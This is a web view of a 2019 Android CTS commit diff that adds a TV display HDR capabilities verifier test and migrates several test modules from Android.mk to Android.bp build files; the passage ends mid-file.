diff options
author | android-build-team Robot <android-build-team-robot@google.com> | 2019-11-11 21:23:45 +0000 |
---|---|---|
committer | android-build-team Robot <android-build-team-robot@google.com> | 2019-11-11 21:23:45 +0000 |
commit | 27bd218998591bde080d8b5a5772b7e1e1d050f9 (patch) | |
tree | 192e2303b4442b4b09937cdcc22f848265e027a2 | |
parent | c47d2c48a8208c77eb8bdb68e25d4c0f6ec92da3 (diff) | |
parent | 5672ebc987aba52ff3ffa5e324ff6a4801ba7c03 (diff) | |
download | cts-android10-mainline-networking-release.tar.gz |
Snap for 6001391 from 5672ebc987aba52ff3ffa5e324ff6a4801ba7c03 to qt-aml-networking-releaseandroid-mainline-10.0.0_r6android10-mainline-networking-release
Change-Id: I49ce841d32e8d5f0250bfafa4ee0e977f4c45c35
133 files changed, 3791 insertions, 1211 deletions
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index 653d1debea4..882a01c596f 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -3181,6 +3181,17 @@ android:value="android.software.leanback" /> </activity> + <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity" + android:label="@string/tv_hdr_capabilities_test"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.cts.intent.category.MANUAL_TEST" /> + </intent-filter> + <meta-data android:name="test_category" android:value="@string/test_category_tv" /> + <meta-data android:name="test_required_features" + android:value="android.software.leanback" /> + </activity> + <activity android:name=".screenpinning.ScreenPinningTestActivity" android:label="@string/screen_pinning_test"> <intent-filter> @@ -3330,7 +3341,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> - <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" /> + <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" /> </activity> <!-- ProAudio test invokes the "Loopback" App --> diff --git a/apps/CtsVerifier/assets/report/compatibility_result.xsl b/apps/CtsVerifier/assets/report/compatibility_result.xsl index 1e9ec31f1d3..9dbeb512623 100644 --- a/apps/CtsVerifier/assets/report/compatibility_result.xsl +++ b/apps/CtsVerifier/assets/report/compatibility_result.xsl @@ -229,7 +229,7 @@ <td class="failuredetails"> <div class="details"> <xsl:choose> - <xsl:when test="$fullStackTrace=true()"> + <xsl:when test="$fullStackTrace=true() and Failure/StackTrace != ''"> <xsl:value-of select="Failure/StackTrace" /> </xsl:when> <xsl:otherwise> diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index 9a93fbf77eb..bc6af271003 100755 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -4330,6 +4330,25 @@ You should be prompted to select credentials; choose the ones you just installed </string> <string name="tv_microphone_device_test_no_input_devices">No input devices found.</string> + <!-- Common strings for the TV Display tests --> + <string name="tv_start_test">Start Test</string> + + <!-- HDR Capabilities test --> + <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string> + <string name="tv_hdr_capabilities_test_info">This test checks if + Display.getHdrCapabilities correctly reports the HDR capabilities of the display. + </string> + <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then + press the "%s" button, below. + </string> + <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press + the "%s" button, below. + </string> + <string name="tv_hdr_disconnect_display">Press the "%1$s" button + and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then + reconnect the display. + </string> + <string name="overlay_view_text">Overlay View Dummy Text</string> <string name="custom_rating">Example of input app specific custom rating.</string> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java index 7d3026a3fbc..a87e9d8075d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java @@ -129,7 +129,8 @@ class TestResultsReport { } currentTestResult.setResultStatus(resultStatus); // TODO: report test details with Extended Device Info (EDI) or CTS metrics - // String details = mAdapter.getTestDetails(i); + String details = mAdapter.getTestDetails(i); + currentTestResult.setMessage(details); ReportLog reportLog = mAdapter.getReportLog(i); if (reportLog != null) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java index 41ab6f785ed..4c6a2700710 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java @@ -37,7 +37,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity { private ViewGroup mItemList; private View mPostTarget; - protected View getPostTarget() { + public View getPostTarget() { return mPostTarget; } @@ -57,14 +57,14 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity { getPassButton().setEnabled(false); } - protected void setButtonEnabled(View item, boolean enabled) { + public static void setButtonEnabled(View item, boolean enabled) { View button = item.findViewById(R.id.user_action_button); button.setFocusable(enabled); button.setClickable(enabled); button.setEnabled(enabled); } - protected void setPassState(View item, boolean passed) { + public static void setPassState(View item, boolean passed) { ImageView status = (ImageView) item.findViewById(R.id.status); status.setImageResource(passed ? R.drawable.fs_good : R.drawable.fs_error); setButtonEnabled(item, false); @@ -78,7 +78,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity { /** * Call this to create a test step where the user must perform some action. */ - protected View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) { + public View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) { View item = mInflater.inflate(R.layout.tv_item, mItemList, false); TextView instructions = (TextView) item.findViewById(R.id.instructions); instructions.setText(instructionTextId); @@ -93,7 +93,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity { /** * Call this to create a test step where the user must perform some action. */ - protected View createUserItem(CharSequence instructionCharSequence, + public View createUserItem(CharSequence instructionCharSequence, int buttonTextId, View.OnClickListener l) { View item = mInflater.inflate(R.layout.tv_item, mItemList, false); TextView instructions = (TextView) item.findViewById(R.id.instructions); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java new file mode 100644 index 00000000000..e3559e0e463 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License + */ + +package com.android.cts.verifier.tv.display; + +import com.android.cts.verifier.tv.TvAppVerifierActivity; + +/** + * Encapsulates the logic of an asynchronous test step, which displays a human instructions and a + * button to start the test. For synchronous steps see {@link TestStep}. + */ +public abstract class AsyncTestStep extends TestStepBase { + + public AsyncTestStep(TvAppVerifierActivity context) { + super(context); + } + + /** + * Runs the test logic, when finished sets the test status by calling + * {@link AsyncTestStep#doneWithPassingState(boolean)}. + */ + public abstract void runTestAsync(); + + @Override + protected void onButtonClickRunTest() { + // Disable the button, so the user can't run it twice. + disableButton(); + runTestAsync(); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java new file mode 100644 index 00000000000..d38d127238f --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java @@ -0,0 +1,180 @@ +/* + * Copyright (C) 2015 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.tv.display; + +import android.content.Context; +import android.view.Display; + +import com.android.cts.verifier.R; +import com.android.cts.verifier.tv.TvAppVerifierActivity; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * Test to verify the HDR Capabilities API is correctly implemented. + * + * This test checks if + * <a href="https://developer.android.com/reference/android/view/Display.html#isHdr()">Display.isHdr()</a> + * and + * <a href="https://developer.android.com/reference/android/view/Display.html#getHdrCapabilities()">Display.getHdrCapabilities()</a> + * return correct results when 1. HDR Display is connected, 2. non-HDR + * Display is connected and 3. no display is connected. + */ +public class DisplayHdrCapabilitiesTestActivity extends TvAppVerifierActivity { + private static final @Display.HdrCapabilities.HdrType + int[] EXPECTED_SUPPORTED_HDR_TYPES_SORTED = { + Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION, + Display.HdrCapabilities.HDR_TYPE_HDR10, + Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS, + Display.HdrCapabilities.HDR_TYPE_HLG + }; + private static final float MAX_EXPECTED_LUMINANCE = 10_000f; + private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5; + + private TestSequence mTestSequence; + + @Override + protected void setInfoResources() { + setInfoResources(R.string.tv_hdr_capabilities_test, + R.string.tv_hdr_capabilities_test_info, -1); + } + + @Override + protected void createTestItems() { + List<TestStepBase> testSteps = new ArrayList<>(); + testSteps.add(new NonHdrDisplayTestStep(this)); + testSteps.add(new HdrDisplayTestStep(this)); + testSteps.add(new NoDisplayTestStep(this)); + + mTestSequence = new TestSequence(this, testSteps); + mTestSequence.init(); + } + + private static boolean hasNoHdrSupportedTypes(Display display) { + return display.getHdrCapabilities() == null + || display.getHdrCapabilities().getSupportedHdrTypes().length == 0; + } + + private static class NonHdrDisplayTestStep extends SyncTestStep { + + public NonHdrDisplayTestStep(TvAppVerifierActivity context) { + super(context); + } + + @Override + protected String getInstructionText() { + return mContext.getString(R.string.tv_hdr_connect_no_hdr_display, + mContext.getString(getButtonStringId())); + } + + @Override + protected int getButtonStringId() { + return R.string.tv_start_test; + } + + @Override + public boolean runTest() { + Display display = mContext.getWindowManager().getDefaultDisplay(); + return !display.isHdr() && hasNoHdrSupportedTypes(display); + } + } + + private static class HdrDisplayTestStep extends SyncTestStep { + + public HdrDisplayTestStep(TvAppVerifierActivity context) { + super(context); + } + + @Override + protected String getInstructionText() { + return mContext.getString(R.string.tv_hdr_connect_hdr_display, + mContext.getString(getButtonStringId())); + } + + @Override + protected int getButtonStringId() { + return R.string.tv_start_test; + } + + @Override + public boolean runTest() { + Display display = mContext.getWindowManager().getDefaultDisplay(); + return display.isHdr() + && hasExpectedHdrSupportedTypes(display) + && hasSaneLuminanceValues(display); + } + + private static boolean hasExpectedHdrSupportedTypes(Display display) { + Display.HdrCapabilities actualHdrCapabilities = display.getHdrCapabilities(); + int[] actualSupportedHdrTypes = actualHdrCapabilities.getSupportedHdrTypes(); + return Arrays.equals(EXPECTED_SUPPORTED_HDR_TYPES_SORTED, actualSupportedHdrTypes); + } + + private static boolean hasSaneLuminanceValues(Display display) { + Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities(); + + float maxLuminance = hdrCapabilities.getDesiredMaxLuminance(); + float maxAvgLuminance = hdrCapabilities.getDesiredMaxAverageLuminance(); + float minLuminance = hdrCapabilities.getDesiredMinLuminance(); + + if(!(0f < maxLuminance && maxLuminance <= MAX_EXPECTED_LUMINANCE)) { + return false; + } + + if(!(0f < maxAvgLuminance && maxAvgLuminance <= MAX_EXPECTED_LUMINANCE)) { + return false; + } + + if (!(minLuminance < maxAvgLuminance && maxAvgLuminance <= maxLuminance)) { + return false; + } + + return true; + } + } + + private static class NoDisplayTestStep extends AsyncTestStep { + public NoDisplayTestStep(TvAppVerifierActivity context) { + super(context); + } + + @Override + protected String getInstructionText() { + return mContext.getString(R.string.tv_hdr_disconnect_display, + mContext.getString(getButtonStringId()), + DISPLAY_DISCONNECT_WAIT_TIME_SECONDS, + DISPLAY_DISCONNECT_WAIT_TIME_SECONDS+1); + } + + @Override + protected int getButtonStringId() { + return R.string.tv_start_test; + } + + @Override + public void runTestAsync() { + // Wait for the user to disconnect the display. + mContext.getPostTarget().postDelayed(() -> { + Display display = mContext.getWindowManager().getDefaultDisplay(); + doneWithPassingState(!display.isHdr() && hasNoHdrSupportedTypes(display)); + }, Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis()); + } + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java new file mode 100644 index 00000000000..1c12f0ed90e --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License + */ + +package com.android.cts.verifier.tv.display; + +import android.view.View; + +import com.android.cts.verifier.tv.TvAppVerifierActivity; + +/** + * Encapsulates the logic of a synchronously running test step, which displays a human instructions + * and a button to start the test. For asynchronous steps see {@link AsyncTestStep}. + */ +public abstract class SyncTestStep extends TestStepBase { + public SyncTestStep(TvAppVerifierActivity context) { + super(context); + } + + public abstract boolean runTest(); + + @Override + protected void onButtonClickRunTest() { + doneWithPassingState(runTest()); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java new file mode 100644 index 00000000000..093d3a24e9f --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java @@ -0,0 +1,58 @@ +package com.android.cts.verifier.tv.display; + + +import com.android.cts.verifier.tv.TvAppVerifierActivity; + +import java.util.List; + +/** + * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be + * executed one after another. The whole sequence passes if all containing test steps pass. + */ +public class TestSequence { + private List<TestStepBase> steps; + private TvAppVerifierActivity context; + + /** + * @param context The TvAppVerifierActivity containing this sequence. + * @param steps List of the steps contained in the sequence. + */ + public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) { + this.context = context; + this.steps = steps; + } + + /** + * Initializes the steps in the sequence by creating their UI components, ensuring they can be + * executed only in the given order and properly enable the pass/fails buttons of the + * surrounding {@link TvAppVerifierActivity}. This method should be called in the + * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence. + */ + public void init() { + if (steps.isEmpty()) { + return; + } + + // Initialize all containing test steps. + steps.stream().forEach(step -> step.createUiElements()); + + // After a step is completed we enable the button of the next step. + for (int i = 0; i < steps.size() - 1; i++) { + final int next = i + 1; + steps.get(i).setOnDoneListener(() -> steps.get(next).enableButton()); + } + + // When the last step is done, mark the sequence as done. + steps.get(steps.size() - 1) + .setOnDoneListener(() -> onAllStepsDone()); + + // Enable the button of the first test step so the user can start it. + steps.get(0).enableButton(); + } + + private void onAllStepsDone() { + // The sequence passes if all containing test steps pass. + boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed()); + context.getPassButton().setEnabled(allTestStepsPass); + } +}
\ No newline at end of file diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java new file mode 100644 index 00000000000..4de7fff1355 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java @@ -0,0 +1,94 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License + */ + +package com.android.cts.verifier.tv.display; + +import android.view.View; + +import com.android.cts.verifier.tv.TvAppVerifierActivity; + +/** + * Encapsulates the logic of a test step, which displays a human instructions and a button to start + * the test. + */ +public abstract class TestStepBase { + final protected TvAppVerifierActivity mContext; + private View mViewItem; + private boolean mHasPassed; + private Runnable mOnDoneListener; + + /** + * Constructs a test step containing instruction to the user and a button. + * + * @param context The test activity which this test step is part of. + */ + public TestStepBase(TvAppVerifierActivity context) { + this.mContext = context; + } + + public boolean hasPassed() { + return mHasPassed; + } + + /** + * Creates the View for this test step in the context {@link TvAppVerifierActivity}. + */ + public void createUiElements() { + mViewItem = mContext.createUserItem( + getInstructionText(), + getButtonStringId(), + (View view) -> onButtonClickRunTest()); + } + + /** + * Enables the button of this test step. + */ + public void enableButton() { + TvAppVerifierActivity.setButtonEnabled(mViewItem, true); + } + + /** + * Disables the button of this test step. + */ + public void disableButton() { + TvAppVerifierActivity.setButtonEnabled(mViewItem, false); + } + + public void setOnDoneListener(Runnable listener) { + mOnDoneListener = listener; + } + + protected abstract void onButtonClickRunTest(); + + /** + * Returns the text of the test instruction visible to the user. + */ + protected abstract String getInstructionText(); + + /** + * Returns id of string resource containing the text of the button. + */ + protected abstract int getButtonStringId(); + + protected void doneWithPassingState(boolean state) { + mHasPassed = state; + TvAppVerifierActivity.setPassState(mViewItem, state); + + if (mOnDoneListener != null) { + mOnDoneListener.run(); + } + } +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp b/apps/CtsVerifierInstantApp/Android.bp index faa1a0ff85c..cc399276c23 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp +++ b/apps/CtsVerifierInstantApp/Android.bp @@ -1,3 +1,4 @@ +// // Copyright (C) 2018 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); @@ -11,10 +12,15 @@ // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. +// -cc_test { - name: "CVE-2018-9490", - defaults: ["cts_hostsidetests_securitybulletin_defaults"], - srcs: ["poc.cpp"], - shared_libs: ["libpac"], +android_test_helper_app { + name: "CtsVerifierInstantApp", + defaults: ["cts_defaults"], + srcs: ["src/**/*.java"], + sdk_version: "current", + test_suites: [ + "cts", + "sts", + ], } diff --git a/apps/CtsVerifierInstantApp/Android.mk b/apps/CtsVerifierInstantApp/Android.mk deleted file mode 100644 index 13697e7ccc7..00000000000 --- a/apps/CtsVerifierInstantApp/Android.mk +++ /dev/null @@ -1,32 +0,0 @@ -# -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -LOCAL_PATH:= $(call my-dir) -include $(CLEAR_VARS) - -LOCAL_MODULE_TAGS := optional - -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_PACKAGE_NAME := CtsVerifierInstantApp - -LOCAL_SDK_VERSION := current - -LOCAL_COMPATIBILITY_SUITE := cts sts - -include $(BUILD_CTS_PACKAGE) diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp new file mode 100644 index 00000000000..06bfd985538 --- /dev/null +++ b/apps/ForceStopHelperApp/Android.bp @@ -0,0 +1,28 @@ +// Copyright (C) 2019 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +android_test_helper_app { + name: "CtsForceStopHelper", + defaults: ["cts_defaults"], + srcs: ["src/**/*.java"], + resource_dirs: ["res"], + sdk_version: "current", + min_sdk_version: "12", + // tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/apps/ForceStopHelperApp/Android.mk b/apps/ForceStopHelperApp/Android.mk deleted file mode 100644 index 7ae586a49b7..00000000000 --- a/apps/ForceStopHelperApp/Android.mk +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright (C) 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_PACKAGE_NAME := CtsForceStopHelper - -LOCAL_MODULE_TAGS := optional - -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res - -LOCAL_SDK_VERSION := current -LOCAL_MIN_SDK_VERSION := 12 - -# tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml index 140da70e195..0e1464f36ef 100644 --- a/hostsidetests/angle/AndroidTest.xml +++ b/hostsidetests/angle/AndroidTest.xml @@ -19,6 +19,7 @@ <option name="config-descriptor:metadata" key="component" value="graphics" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsAngleDriverTestCases.apk" /> diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml index 96aa5a5b997..201b3de935d 100644 --- a/hostsidetests/apex/AndroidTest.xml +++ b/hostsidetests/apex/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="systems" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.tradefed.testtype.HostTest" > <option name="jar" value="CtsApexTestCases.jar" /> </test> diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp new file mode 100644 index 00000000000..31ed9815d37 --- /dev/null +++ b/hostsidetests/appsecurity/Android.bp @@ -0,0 +1,4 @@ +filegroup { + name: "CtsHostsideTestsAppSecurityUtil", + srcs: ["src/android/appsecurity/cts/Utils.java"], +} diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk index 40c0c7ebd56..c37fd337fe6 100644 --- a/hostsidetests/appsecurity/Android.mk +++ b/hostsidetests/appsecurity/Android.mk @@ -23,8 +23,6 @@ LOCAL_MODULE := CtsAppSecurityHostTestCases LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util -LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar - LOCAL_JAVA_RESOURCE_DIRS := res LOCAL_CTS_TEST_PACKAGE := android.appsecurity diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java index af46b0845c7..30ed7bf9488 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java @@ -148,9 +148,9 @@ public class Utils { int currentUserId = device.getCurrentUser(); for (int i = 1; i < userIds.length; i++) { if (i < maxUsers) { - device.startUser(userIds[i]); + device.startUser(userIds[i], true); } else if (userIds[i] != currentUserId) { - device.stopUser(userIds[i]); + device.stopUser(userIds[i], true, true); } } if (userIds.length > maxUsers) { diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java index ea876d9a837..d128c2d6a3b 100644 --- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java +++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java @@ -16,6 +16,7 @@ package android.checkpoint.cts; +import com.android.compatibility.common.util.ApiLevelUtil; import com.android.compatibility.common.util.CtsDownstreamingTest; import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceTestCase; @@ -30,6 +31,9 @@ public class CheckpointHostTest extends DeviceTestCase { @CtsDownstreamingTest public void testLogEntries() throws Exception { + // This test is build also as a part of GTS, which runs also on older releases. + if (ApiLevelUtil.isBefore(getDevice(), "Q")) return; + // Clear buffer to make it easier to find new logs getDevice().executeShellCommand("logcat --clear"); diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml index 815f13818b6..6505888c06c 100644 --- a/hostsidetests/classloaders/useslibrary/AndroidTest.xml +++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsUsesLibraryHostTestCases.jar" /> <option name="runtime-hint" value="1m" /> diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp new file mode 100644 index 00000000000..44780353cf5 --- /dev/null +++ b/hostsidetests/content/Android.bp @@ -0,0 +1,32 @@ +// Copyright (C) 2016 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +java_test_host { + name: "CtsSyncContentHostTestCases", + defaults: ["cts_defaults"], + srcs: [ + "src/**/*.java", + ":CtsHostsideTestsAppSecurityUtil", + ], + libs: [ + "cts-tradefed", + "tradefed", + "compatibility-host-util", + ], + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk deleted file mode 100644 index e60f1021ed0..00000000000 --- a/hostsidetests/content/Android.mk +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright (C) 2016 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_SRC_FILES := $(call all-java-files-under, src) \ - ../appsecurity/src/android/appsecurity/cts/Utils.java - -LOCAL_MODULE := CtsSyncContentHostTestCases - -LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util - -LOCAL_CTS_TEST_PACKAGE := android.content - -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_HOST_JAVA_LIBRARY) - -include $(call all-makefiles-under,$(LOCAL_PATH)/test-apps) diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp new file mode 100644 index 00000000000..5a91da1372e --- /dev/null +++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp @@ -0,0 +1,38 @@ +// +// Copyright (C) 2017 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the 